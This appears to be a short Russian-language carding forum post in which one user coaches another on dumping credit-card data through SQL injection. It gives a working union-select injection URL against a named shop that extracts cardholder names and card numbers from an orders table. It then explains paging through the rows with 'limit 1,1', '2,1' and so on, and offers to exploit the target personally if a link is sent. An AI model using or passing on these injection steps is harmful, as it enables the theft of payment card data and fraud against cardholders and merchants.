huntmysteries.com/specials.php?id=-1+union+select+concat%28cc_owner,cc_number%29,2+fr om+zen_orders%20--
вот я пример приводил,там типа такого.
Сначала только имена кардхолдеров,а потом появляются и номера.
Да и SqlHelper и Pangolin не всегда дампят нормально.
Постарайся руками вытащить картон.
Там как отображается? по 1 строке или все данные сразу.
Если по одной строке,добавь в конец следующее.
xxx.com+<тут инъекция>+limit+1,1 --
И далее меняй 1,1 2,1 3,1 4,1 и т.д.
Будет выводить по порядку данные.
Или если можешь дай линк в пм...сам попробую раскрутить.
Торжественно обещаю не юзать картон оттуда)Да и чекера на руках рабочего сейчас все равно нету.